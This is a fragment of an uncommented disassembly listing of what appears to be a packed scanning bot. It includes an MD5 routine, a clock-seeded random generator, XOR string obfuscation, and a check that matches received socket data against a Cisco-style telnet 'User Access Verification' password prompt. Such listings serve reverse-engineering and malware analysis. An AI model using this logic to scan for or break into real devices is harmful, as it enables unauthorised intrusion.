loc_40A9C1: ; CODE XREF: sub_40A96B+45j
push 8
lea eax, [esi+50h]
push edi
push eax
call sub_40A9F3
lea eax, [esi+18h]
push eax
push esi
call sub_40AA38
push 10h
push esi
push [esp+24h+arg_0]
call sub_40A9F3
push 4
push 0
push esi
call sub_4114E8 ; memset
add esp, 2Ch
pop edi
pop esi
retn
sub_40A96B endp
; =============== S U B R O U T I N E =======================================
sub_40A9F3 proc near ; CODE XREF: sub_40A96B+5Dp
; sub_40A96B+73p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp [esp+arg_8], 0
jbe short locret_40AA37
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_40AA0B: ; CODE XREF: sub_40A9F3+41j
mov dl, [ecx]
mov [eax-1], dl
mov edx, [ecx]
shr edx, 8
mov [eax], dl
mov edx, [ecx]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx]
shr edx, 18h
mov [eax+2], dl
add eax, 4
add ecx, 4
lea edx, [esi+eax]
cmp edx, [esp+4+arg_8]
jb short loc_40AA0B
pop esi
locret_40AA37: ; CODE XREF: sub_40A9F3+5j
retn
sub_40A9F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA38 proc near ; CODE XREF: sub_40A8CC+4Fp
; sub_40A8CC+78p ...
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 44h
push ebx
push esi
push edi
push 40h
push [ebp+arg_4]
lea eax, [ebp+var_44]
push eax
call sub_40B2D8
mov eax, [ebp+arg_0]
add esp, 0Ch
mov edi, [eax+4]
mov edx, [eax+0Ch]
mov ebx, [eax+8]
mov esi, edi
mov ecx, [eax]
not esi
and esi, edx
mov edx, ebx
and edx, edi
or esi, edx
add esi, ecx
mov ecx, [ebp+var_44]
lea edx, [esi+ecx-28955B88h]
mov esi, edi
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, edi
mov edx, ecx
and esi, ecx
not edx
and edx, ebx
or edx, esi
mov esi, [eax+0Ch]
add edx, [ebp+var_40]
lea esi, [esi+edx-173848AAh]
mov edx, esi
shr edx, 14h
shl esi, 0Ch
or edx, esi
add edx, ecx
mov esi, edx
not esi
and esi, edi
mov edi, edx
and edi, ecx
or esi, edi
add esi, [ebp+var_3C]
lea esi, [ebx+esi+242070DBh]
mov ebx, edx
mov edi, esi
shr edi, 0Fh
shl esi, 11h
or edi, esi
add edi, edx
mov esi, edi
and ebx, edi
not esi
and esi, ecx
mov [ebp+var_4], edi
or esi, ebx
mov ebx, [eax+4]
add esi, [ebp+var_38]
lea ebx, [ebx+esi-3E423112h]
mov esi, ebx
shl esi, 16h
shr ebx, 0Ah
or esi, ebx
add esi, edi
mov ebx, esi
and edi, esi
not ebx
and ebx, edx
or ebx, edi
add ebx, [ebp+var_34]
lea ecx, [ecx+ebx-0A83F051h]
mov edi, ecx
shr edi, 19h
shl ecx, 7
or edi, ecx
add edi, esi
mov ecx, esi
mov [ebp+arg_4], edi
and ecx, [ebp+arg_4]
not edi
and edi, [ebp+var_4]
or edi, ecx
add edi, [ebp+var_30]
lea edx, [edx+edi+4787C62Ah]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, [ebp+arg_4]
mov edx, ecx
mov edi, ecx
and edi, [ebp+arg_4]
mov ebx, ecx
not edx
and edx, esi
or edx, edi
mov edi, [ebp+var_4]
add edx, [ebp+var_2C]
lea edi, [edi+edx-57CFB9EDh]
mov edx, edi
shr edx, 0Fh
shl edi, 11h
or edx, edi
add edx, ecx
mov edi, edx
and ebx, edx
not edi
and edi, [ebp+arg_4]
or edi, ebx
mov ebx, edx
add edi, [ebp+var_28]
lea esi, [esi+edi-2B96AFFh]
mov edi, esi
shl edi, 16h
shr esi, 0Ah
or edi, esi
add edi, edx
mov esi, edi
and ebx, edi
not esi
and esi, ecx
mov [ebp+arg_0], edi
or esi, ebx
mov ebx, [ebp+arg_4]
add esi, [ebp+var_24]
lea ebx, [ebx+esi+698098D8h]
mov esi, ebx
shr esi, 19h
shl ebx, 7
or esi, ebx
add esi, edi
mov ebx, esi
and edi, esi
not ebx
and ebx, edx
or ebx, edi
add ebx, [ebp+var_20]
lea ecx, [ecx+ebx-74BB0851h]
mov edi, ecx
shr edi, 14h
shl ecx, 0Ch
or edi, ecx
add edi, esi
mov ecx, edi
mov ebx, edi
not ecx
and ecx, [ebp+arg_0]
and ebx, esi
or ecx, ebx
add ecx, [ebp+var_1C]
lea edx, [edx+ecx-0A44Fh]
mov ebx, edx
shr ebx, 0Fh
shl edx, 11h
or ebx, edx
add ebx, edi
mov ecx, ebx
mov edx, edi
not ecx
and ecx, esi
and edx, ebx
or ecx, edx
mov edx, [ebp+arg_0]
add ecx, [ebp+var_18]
mov [ebp+var_4], ebx
lea edx, [edx+ecx-76A32842h]
mov ecx, edx
shl ecx, 16h
shr edx, 0Ah
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebx, ecx
not edx
and edx, edi
or edx, ebx
add edx, [ebp+var_14]
lea esi, [esi+edx+6B901122h]
mov edx, esi
shr edx, 19h
shl esi, 7
or edx, esi
mov esi, ecx
add edx, ecx
mov [ebp+arg_4], edx
and esi, [ebp+arg_4]
not edx
and edx, [ebp+var_4]
or edx, esi
add edx, [ebp+var_10]
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
mov edi, ecx
add edx, [ebp+arg_4]
mov [ebp+arg_0], edx
mov esi, edx
not [ebp+arg_0]
and esi, [ebp+arg_4]
and edi, [ebp+arg_0]
mov ebx, edx
or esi, edi
mov edi, [ebp+var_4]
add esi, [ebp+var_C]
lea edi, [edi+esi-5986BC72h]
mov esi, edi
shr esi, 0Fh
shl edi, 11h
or esi, edi
add esi, edx
mov [ebp+var_4], esi
and ebx, esi
not [ebp+var_4]
mov edi, [ebp+var_4]
and edi, [ebp+arg_4]
or edi, ebx
mov ebx, esi
add edi, [ebp+var_8]
and ebx, [ebp+arg_0]
lea ecx, [ecx+edi+49B40821h]
mov edi, ecx
shl edi, 16h
shr ecx, 0Ah
or edi, ecx
mov ecx, edx
add edi, esi
and ecx, edi
or ecx, ebx
mov ebx, [ebp+arg_4]
add ecx, [ebp+var_40]
lea ecx, [ebx+ecx-9E1DA9Eh]
mov ebx, ecx
shr ebx, 1Bh
shl ecx, 5
or ebx, ecx
mov ecx, [ebp+var_4]
add ebx, edi
and ecx, edi
mov [ebp+arg_4], ebx
mov [ebp+arg_0], ecx
mov ecx, esi
and ecx, ebx
mov ebx, ecx
mov ecx, [ebp+arg_0]
or ecx, ebx
add ecx, [ebp+var_2C]
lea edx, [edx+ecx-3FBF4CC0h]
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
mov edx, edi
add ecx, [ebp+arg_4]
not edx
and edx, [ebp+arg_4]
mov ebx, ecx
and ebx, edi
or edx, ebx
add edx, [ebp+var_18]
lea esi, [esi+edx+265E5A51h]
mov edx, esi
shr edx, 12h
shl esi, 0Eh
or edx, esi
mov esi, [ebp+arg_4]
add edx, ecx
mov [ebp+var_4], edx
and edx, [ebp+arg_4]
not esi
and esi, ecx
mov ebx, [ebp+var_4]
or esi, edx
add esi, [ebp+var_44]
lea edi, [edi+esi-16493856h]
mov esi, ecx
mov edx, edi
shl edx, 14h
shr edi, 0Ch
or edx, edi
mov edi, ecx
add edx, ebx
not esi
and esi, ebx
and edi, edx
or esi, edi
mov edi, [ebp+arg_4]
add esi, [ebp+var_30]
lea esi, [edi+esi-29D0EFA3h]
mov edi, esi
shr edi, 1Bh
shl esi, 5
or edi, esi
mov esi, ebx
add edi, edx
mov [ebp+arg_4], edi
mov edi, ebx
and edi, [ebp+arg_4]
not esi
and esi, edx
or esi, edi
add esi, [ebp+var_1C]
lea ecx, [ecx+esi+2441453h]
mov esi, ecx
shr esi, 17h
shl ecx, 9
or esi, ecx
mov ecx, edx
add esi, [ebp+arg_4]
not ecx
and ecx, [ebp+arg_4]
mov edi, esi
and edi, edx
or ecx, edi
add ecx, [ebp+var_8]
lea edi, [ebx+ecx-275E197Fh]
mov ecx, edi
shr ecx, 12h
shl edi, 0Eh
or ecx, edi
mov edi, [ebp+arg_4]
add ecx, esi
mov ebx, ecx
and ebx, [ebp+arg_4]
not edi
and edi, esi
or edi, ebx
mov ebx, esi
add edi, [ebp+var_34]
lea edx, [edx+edi-182C0438h]
mov edi, edx
shl edi, 14h
shr edx, 0Ch
or edi, edx
mov edx, esi
add edi, ecx
not edx
and edx, ecx
and ebx, edi
or edx, ebx
mov ebx, [ebp+arg_4]
add edx, [ebp+var_20]
mov [ebp+arg_0], edi
lea ebx, [ebx+edx+21E1CDE6h]
mov edx, ebx
shr edx, 1Bh
shl ebx, 5
or edx, ebx
mov ebx, ecx
not ebx
add edx, edi
and ebx, edi
mov edi, ecx
and edi, edx
or ebx, edi
add ebx, [ebp+var_C]
lea esi, [esi+ebx-3CC8F82Ah]
mov edi, esi
shr edi, 17h
shl esi, 9
or edi, esi
mov esi, [ebp+arg_0]
add edi, edx
mov ebx, edi
and ebx, [ebp+arg_0]
not esi
and esi, edx
or esi, ebx
add esi, [ebp+var_38]
lea ecx, [ecx+esi-0B2AF279h]
mov esi, ecx
shr esi, 12h
shl ecx, 0Eh
or esi, ecx
mov ecx, edx
add esi, edi
not ecx
mov ebx, esi
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [ebp+arg_0]
add ecx, [ebp+var_24]
lea ecx, [ebx+ecx+455A14EDh]
mov ebx, ecx
shl ebx, 14h
shr ecx, 0Ch
or ebx, ecx
mov ecx, edi
add ebx, esi
mov [ebp+arg_0], ebx
mov ebx, edi
and ebx, [ebp+arg_0]
not ecx
and ecx, esi
or ecx, ebx
add ecx, [ebp+var_10]
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, esi
add ecx, [ebp+arg_0]
mov [ebp+arg_4], ecx
mov ecx, esi
and edx, [ebp+arg_4]
mov ebx, [ebp+arg_4]
not ecx
and ecx, [ebp+arg_0]
or ecx, edx
mov edx, [ebp+arg_0]
add ecx, [ebp+var_3C]
not edx
and edx, ebx
lea edi, [edi+ecx-3105C08h]
mov ecx, edi
shr ecx, 17h
shl edi, 9
or ecx, edi
add ecx, ebx
mov edi, ecx
and edi, [ebp+arg_0]
or edx, edi
add edx, [ebp+var_28]
lea esi, [esi+edx+676F02D9h]
mov edx, esi
shr edx, 12h
shl esi, 0Eh
or edx, esi
mov esi, ebx
add edx, ecx
not esi
mov edi, edx
and esi, ecx
and edi, ebx
or esi, edi
mov edi, [ebp+arg_0]
add esi, [ebp+var_14]
lea edi, [edi+esi-72D5B376h]
mov esi, edi
shl esi, 14h
shr edi, 0Ch
or esi, edi
mov edi, ecx
add esi, edx
xor edi, edx
xor edi, esi
add edi, [ebp+var_30]
lea ebx, [ebx+edi-5C6BEh]
mov edi, ebx
shr edi, 1Ch
shl ebx, 4
or edi, ebx
mov ebx, edx
add edi, esi
xor ebx, esi
xor ebx, edi
add ebx, [ebp+var_24]
lea ecx, [ecx+ebx-788E097Fh]
mov ebx, ecx
shr ebx, 15h
shl ecx, 0Bh
or ebx, ecx
add ebx, edi
mov ecx, ebx
xor ecx, esi
xor ecx, edi
add ecx, [ebp+var_18]
lea edx, [edx+ecx+6D9D6122h]
mov ecx, edx
shr ecx, 10h
shl edx, 10h
or ecx, edx
mov edx, ebx
add ecx, ebx
mov [ebp+var_4], ecx
xor edx, ecx
mov ecx, edx
xor ecx, edi
add ecx, [ebp+var_C]
lea esi, [esi+ecx-21AC7F4h]
mov ecx, esi
shl ecx, 17h
shr esi, 9
or ecx, esi
add ecx, [ebp+var_4]
xor edx, ecx
add edx, [ebp+var_40]
lea edi, [edi+edx-5B4115BCh]
mov edx, edi
shr edx, 1Ch
shl edi, 4
or edx, edi
mov edi, [ebp+var_4]
mov esi, edi
add edx, ecx
xor esi, ecx
xor esi, edx
add esi, [ebp+var_34]
lea ebx, [ebx+esi+4BDECFA9h]
mov esi, ebx
shr esi, 15h
shl ebx, 0Bh
or esi, ebx
add esi, edx
mov ebx, esi
mov [ebp+arg_4], esi
xor ebx, ecx
xor ebx, edx
add ebx, [ebp+var_28]
lea ebx, [edi+ebx-944B4B0h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
add edi, esi
xor [ebp+arg_4], edi
mov ebx, [ebp+arg_4]
xor ebx, edx
add ebx, [ebp+var_1C]
lea ebx, [ecx+ebx-41404390h]
mov ecx, ebx
shl ecx, 17h
shr ebx, 9
or ecx, ebx
mov ebx, [ebp+arg_4]
add ecx, edi
xor ebx, ecx
add ebx, [ebp+var_10]
lea ebx, [edx+ebx+289B7EC6h]
mov edx, ebx
shr edx, 1Ch
shl ebx, 4
or edx, ebx
mov ebx, edi
add edx, ecx
xor ebx, ecx
xor ebx, edx
add ebx, [ebp+var_44]
lea esi, [esi+ebx-155ED806h]
mov ebx, esi
shr ebx, 15h
shl esi, 0Bh
or ebx, esi
add ebx, edx
mov esi, ebx
mov [ebp+arg_4], ebx
xor esi, ecx
xor esi, edx
add esi, [ebp+var_38]
lea esi, [edi+esi-2B10CF7Bh]
mov edi, esi
shr edi, 10h
shl esi, 10h
or edi, esi
add edi, ebx
xor [ebp+arg_4], edi
mov esi, [ebp+arg_4]
xor esi, edx
add esi, [ebp+var_2C]
lea esi, [ecx+esi+4881D05h]
mov ecx, esi
shl ecx, 17h
shr esi, 9
or ecx, esi
mov esi, [ebp+arg_4]
add ecx, edi
xor esi, ecx
add esi, [ebp+var_20]
lea esi, [edx+esi-262B2FC7h]
mov edx, esi
shr edx, 1Ch
shl esi, 4
or edx, esi
mov esi, edi
add edx, ecx
xor esi, ecx
xor esi, edx
add esi, [ebp+var_14]
lea ebx, [ebx+esi-1924661Bh]
mov esi, ebx
shr esi, 15h
shl ebx, 0Bh
or esi, ebx
add esi, edx
mov ebx, esi
xor ebx, ecx
xor ebx, edx
add ebx, [ebp+var_8]
lea ebx, [edi+ebx+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, esi
add edi, esi
xor ebx, edi
xor ebx, edx
add ebx, [ebp+var_3C]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, esi
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [ebp+var_44]
lea edx, [edx+ecx-0BD6DDBCh]
mov ecx, edx
shr ecx, 1Ah
shl edx, 6
or ecx, edx
mov edx, edi
add ecx, ebx
not edx
or edx, ecx
xor edx, ebx
add edx, [ebp+var_28]
lea esi, [esi+edx+432AFF97h]
mov edx, esi
shr edx, 16h
shl esi, 0Ah
or edx, esi
mov esi, ebx
add edx, ecx
not esi
or esi, edx
xor esi, ecx
add esi, [ebp+var_C]
lea edi, [edi+esi-546BDC59h]
mov esi, edi
shr esi, 11h
shl edi, 0Fh
or esi, edi
mov edi, ecx
add esi, edx
not edi
or edi, esi
xor edi, edx
add edi, [ebp+var_30]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shr ebx, 0Bh
shl edi, 15h
or edi, ebx
mov ebx, edx
not ebx
add edi, esi
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_14]
lea ebx, [ecx+ebx+655B59C3h]
mov ecx, ebx
shl ebx, 6
shr ecx, 1Ah
or ecx, ebx
mov ebx, esi
not ebx
add ecx, edi
or ebx, ecx
xor ebx, edi
add ebx, [ebp+var_38]
lea ebx, [edx+ebx-70F3336Eh]
mov edx, ebx
shl ebx, 0Ah
shr edx, 16h
or edx, ebx
mov ebx, edi
add edx, ecx
not ebx
or ebx, edx
xor ebx, ecx
add ebx, [ebp+var_1C]
lea ebx, [esi+ebx-100B83h]
mov esi, ebx
shr esi, 11h
shl ebx, 0Fh
or esi, ebx
mov ebx, ecx
add esi, edx
not ebx
or ebx, esi
xor ebx, edx
add ebx, [ebp+var_40]
lea ebx, [edi+ebx-7A7BA22Fh]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, edx
add edi, esi
not ebx
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_24]
lea ebx, [ecx+ebx+6FA87E4Fh]
mov ecx, ebx
shr ecx, 1Ah
shl ebx, 6
or ecx, ebx
mov ebx, esi
add ecx, edi
not ebx
or ebx, ecx
xor ebx, edi
add ebx, [ebp+var_8]
lea ebx, [edx+ebx-1D31920h]
mov edx, ebx
shr edx, 16h
shl ebx, 0Ah
or edx, ebx
mov ebx, edi
add edx, ecx
not ebx
or ebx, edx
xor ebx, ecx
add ebx, [ebp+var_2C]
lea ebx, [esi+ebx-5CFEBCECh]
mov esi, ebx
shr esi, 11h
shl ebx, 0Fh
or esi, ebx
mov ebx, ecx
add esi, edx
not ebx
or ebx, esi
xor ebx, edx
add ebx, [ebp+var_10]
lea ebx, [edi+ebx+4E0811A1h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, edx
add edi, esi
not ebx
or ebx, edi
xor ebx, esi
add ebx, [ebp+var_34]
lea ebx, [ecx+ebx-8AC817Eh]
mov ecx, ebx
shr ecx, 1Ah
shl ebx, 6
or ecx, ebx
mov ebx, esi
add ecx, edi
not ebx
or ebx, ecx
xor ebx, edi
add ebx, [ebp+var_18]
lea edx, [edx+ebx-42C50DCBh]
mov ebx, edx
shr ebx, 16h
shl edx, 0Ah
or ebx, edx
mov edx, edi
add ebx, ecx
not edx
or edx, ebx
xor edx, ecx
add edx, [ebp+var_3C]
lea esi, [esi+edx+2AD7D2BBh]
mov edx, esi
shr edx, 11h
shl esi, 0Fh
or edx, esi
mov esi, ecx
add edx, ebx
not esi
or esi, edx
xor esi, ebx
add esi, [ebp+var_20]
lea edi, [edi+esi-14792C6Fh]
mov esi, [eax]
add esi, ecx
mov ecx, edi
shl ecx, 15h
shr edi, 0Bh
or ecx, edi
mov [eax], esi
add ecx, [eax+4]
pop edi
pop esi
add ecx, edx
mov [eax+4], ecx
mov ecx, [eax+8]
add ecx, edx
mov [eax+8], ecx
mov ecx, [eax+0Ch]
add ecx, ebx
pop ebx
mov [eax+0Ch], ecx
leave
retn
sub_40AA38 endp
; =============== S U B R O U T I N E =======================================
sub_40B2D8 proc near ; CODE XREF: sub_40AA38+12p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp [esp+arg_8], 0
jbe short locret_40B31D
mov edx, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push edi
push 0FFFFFFFEh
lea eax, [edx+2]
pop esi
sub esi, edx
loc_40B2F1: ; CODE XREF: sub_40B2D8+41j
movzx edi, byte ptr [eax-1]
xor edx, edx
mov dh, [eax+1]
mov dl, [eax]
add eax, 4
shl edx, 8
or edx, edi
movzx edi, byte ptr [eax-6]
shl edx, 8
or edx, edi
mov [ecx], edx
lea edx, [esi+eax]
add ecx, 4
cmp edx, [esp+8+arg_8]
jb short loc_40B2F1
pop edi
pop esi
locret_40B31D: ; CODE XREF: sub_40B2D8+5j
retn
sub_40B2D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B31E proc near ; CODE XREF: sub_4111E8+CCp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push 0F0000000h
push 1
push 0
lea eax, [ebp+var_4]
push 0
push eax
call dword_412024
mov esi, dword_412020
push offset dword_419E7C
push 4
push [ebp+var_4]
call esi
push offset dword_419E80
push 4
push [ebp+var_4]
call esi
push offset dword_419E84
push 4
push [ebp+var_4]
call esi
push offset dword_419E88
push 4
push [ebp+var_4]
call esi
push 0
push [ebp+var_4]
call dword_41201C
pop esi
leave
retn
sub_40B31E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B380 proc near ; CODE XREF: sub_40B459+3p sub_40B480p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
lock xadd dword_419E7C, eax
add eax, ebx
lock xadd dword_419E80, eax
add eax, ecx
lock xadd dword_419E84, eax
add eax, edx
lock xadd dword_419E88, eax
add eax, esi
lock xadd dword_419E7C, eax
add eax, edi
lock xadd dword_419E80, eax
add eax, ebp
lock xadd dword_419E84, eax
add eax, esp
lock xadd dword_419E88, eax
call sub_4114E2 ; clock
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
lock xadd dword_419E7C, eax
lock xadd dword_419E80, eax
lock xadd dword_419E84, eax
lock xadd dword_419E88, eax
add ecx, ebx
ror ebx, cl
lock xadd dword_419E84, ebx
add ecx, ecx
ror ecx, cl
lock xadd dword_419E80, ecx
add ecx, edx
ror edx, cl
lock xadd dword_419E7C, edx
rol eax, cl
add ecx, eax
ror ebx, cl
add ecx, ebx
ror ecx, cl
add ecx, 211h
rol edx, cl
add ecx, edx
lock xadd dword_419E88, edx
lock xadd dword_419E84, ecx
lock xadd dword_419E80, ebx
lock xadd dword_419E7C, eax
pop ebx
leave
retn
sub_40B380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B459 proc near ; CODE XREF: sub_401B81+C1p
; sub_4031A7+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
call sub_40B380
call sub_4114E2 ; clock
lock xadd dword_419E88, eax
mov ecx, [ebp+arg_4]
sub ecx, [ebp+arg_0]
xor edx, edx
inc ecx
div ecx
mov eax, edx
add eax, [ebp+arg_0]
pop ebp
retn
sub_40B459 endp
; =============== S U B R O U T I N E =======================================
sub_40B480 proc near ; CODE XREF: sub_4091AD:loc_409213p
; sub_409918+8DAp ...
call sub_40B380
call sub_4114E2 ; clock
lock xadd dword_419E88, eax
retn
sub_40B480 endp
; =============== S U B R O U T I N E =======================================
sub_40B493 proc near ; CODE XREF: sub_403EA9+4ECp
; sub_403EA9+54Fp
call sub_40B380
call sub_4114E2 ; clock
lock xadd dword_419E84, eax
and eax, 0FFFFh
retn
sub_40B493 endp
; =============== S U B R O U T I N E =======================================
sub_40B4AB proc near ; CODE XREF: sub_40B4D9:loc_40B507p
; sub_40E399+CEp
call sub_40B380
call sub_4114E2 ; clock
lock xadd dword_419E80, eax
and eax, 0FFh
retn
sub_40B4AB endp
; =============== S U B R O U T I N E =======================================
sub_40B4C3 proc near ; CODE XREF: sub_403EA9+4FFp
; sub_4098C7+2Bp ...
call sub_40B380
call sub_4114E2 ; clock
lock xadd dword_419E7C, eax
and eax, 1
retn
sub_40B4C3 endp
; =============== S U B R O U T I N E =======================================
sub_40B4D9 proc near ; CODE XREF: sub_407A76+837p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
test ebx, ebx
push esi
jz short loc_40B512
mov esi, [esp+8+arg_0]
cmp ebx, 3
jbe short loc_40B503
push edi
mov edi, ebx
shr edi, 2
loc_40B4F2: ; CODE XREF: sub_40B4D9+27j
call sub_40B480
mov [esi], eax
add esi, 4
sub ebx, 4
dec edi
jnz short loc_40B4F2
pop edi
loc_40B503: ; CODE XREF: sub_40B4D9+11j
test ebx, ebx
jbe short loc_40B512
loc_40B507: ; CODE XREF: sub_40B4D9+37j
call sub_40B4AB
mov [esi], al
inc esi
dec ebx
jnz short loc_40B507
loc_40B512: ; CODE XREF: sub_40B4D9+8j
; sub_40B4D9+2Cj
pop esi
pop ebx
retn
sub_40B4D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B515 proc near ; CODE XREF: sub_4027CB+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_40B522
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B522: ; CODE XREF: sub_40B515+7j
mov eax, [ebp+arg_10]
test eax, eax
jnz short loc_40B52C
mov eax, [ebp+arg_4]
loc_40B52C: ; CODE XREF: sub_40B515+12j
push edi
push eax
push [ebp+arg_4]
call sub_40B459
mov edi, eax
pop ecx
test edi, edi
pop ecx
jbe short loc_40B55A
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, edi
loc_40B545: ; CODE XREF: sub_40B515+41j
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B459
mov [esi], al
pop ecx
inc esi
dec ebx
pop ecx
jnz short loc_40B545
pop esi
pop ebx
loc_40B55A: ; CODE XREF: sub_40B515+27j
mov eax, edi
pop edi
pop ebp
retn
sub_40B515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B55F proc near ; CODE XREF: sub_4111E8+DEp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push esi
lea eax, [ebp+var_58]
push edi
push eax
call sub_40A8A4
push [ebp+arg_4]
lea eax, [ebp+var_58]
push [ebp+arg_0]
push eax
call sub_40A8CC
lea eax, [ebp+var_58]
push eax
push offset byte_419E90
call sub_40A96B
add esp, 18h
lea esi, byte_419E90
mov edi, esi
push 10h
pop ecx
loc_40B59B: ; CODE XREF: sub_40B55F+43j
lodsb
or eax, 80h
stosb
loop loc_40B59B
pop edi
pop esi
leave
retn
sub_40B55F endp
; =============== S U B R O U T I N E =======================================
sub_40B5A8 proc near ; CODE XREF: sub_4050D1+7Dp
; sub_4050D1+FFp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push esi
mov bl, [ecx]
cmp bl, 7Fh
ja short loc_40B5DE
xor esi, esi
test bl, bl
jz short loc_40B5DE
push edi
loc_40B5BC: ; CODE XREF: sub_40B5A8+33j
mov eax, esi
push 10h
cdq
pop edi
idiv edi
mov al, byte_419E90[edx]
xor al, bl
inc esi
mov [ecx], al
mov eax, [esp+0Ch+arg_0]
mov bl, [esi+eax]
lea ecx, [esi+eax]
test bl, bl
jnz short loc_40B5BC
pop edi
loc_40B5DE: ; CODE XREF: sub_40B5A8+Bj
; sub_40B5A8+11j
pop esi
pop ebx
retn
sub_40B5A8 endp
; =============== S U B R O U T I N E =======================================
sub_40B5E1 proc near ; CODE XREF: sub_401000+3Fp
; sub_4033F9+19p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push esi
mov bl, [ecx]
cmp bl, 7Fh
jbe short loc_40B617
xor esi, esi
test bl, bl
jz short loc_40B617
push edi
loc_40B5F5: ; CODE XREF: sub_40B5E1+33j
mov eax, esi
push 10h
cdq
pop edi
idiv edi
mov al, byte_419E90[edx]
xor al, bl
inc esi
mov [ecx], al
mov eax, [esp+0Ch+arg_0]
mov bl, [esi+eax]
lea ecx, [esi+eax]
test bl, bl
jnz short loc_40B5F5
pop edi
loc_40B617: ; CODE XREF: sub_40B5E1+Bj
; sub_40B5E1+11j
pop esi
pop ebx
retn
sub_40B5E1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push esi
mov esi, [ebp+8]
push edi
mov edi, 200h
push 2710h
lea eax, [ebp-200h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 10h
test eax, eax
jz short loc_40B6BA
push 0Ch
lea eax, [ebp-200h]
push offset dword_415244
push eax
call sub_41178A ; memcmp
add esp, 0Ch
test eax, eax
jnz short loc_40B6BA
lea eax, [ebp-200h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DB2
add esp, 0Ch
test eax, eax
jz short loc_40B6BA
lea eax, [ebp-200h]
push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
push eax
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40B6BA
mov eax, [esi]
inc dword ptr [eax+2Ah]
lea eax, [esi+42h]
push eax
mov eax, [esi]
add esi, 4
push dword ptr [eax+2Ah]
push offset aTelnet ; "telnet"
push esi
push offset unk_4151D8
push offset dword_418E50
call sub_409659
add esp, 18h
loc_40B6BA: ; CODE XREF: .packed:0040B647j
; .packed:0040B661j ...
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6BE proc near ; CODE XREF: .packed:0040B82Ap
var_1000 = byte ptr -1000h
var_FF8 = byte ptr -0FF8h
var_FF4 = byte ptr -0FF4h
var_FDB = byte ptr -0FDBh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
push ebx
push esi
mov ebx, 0EA60h
push edi
push ebx
push [ebp+arg_0]
call sub_403E1F
mov esi, dword_412258
pop ecx
test eax, eax
pop ecx
mov edi, 1000h
jz short loc_40B70D
push 0
lea eax, [ebp+var_1000]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
test eax, eax
jz loc_40B7C9
cmp eax, 0FFFFFFFFh
jz loc_40B7C9
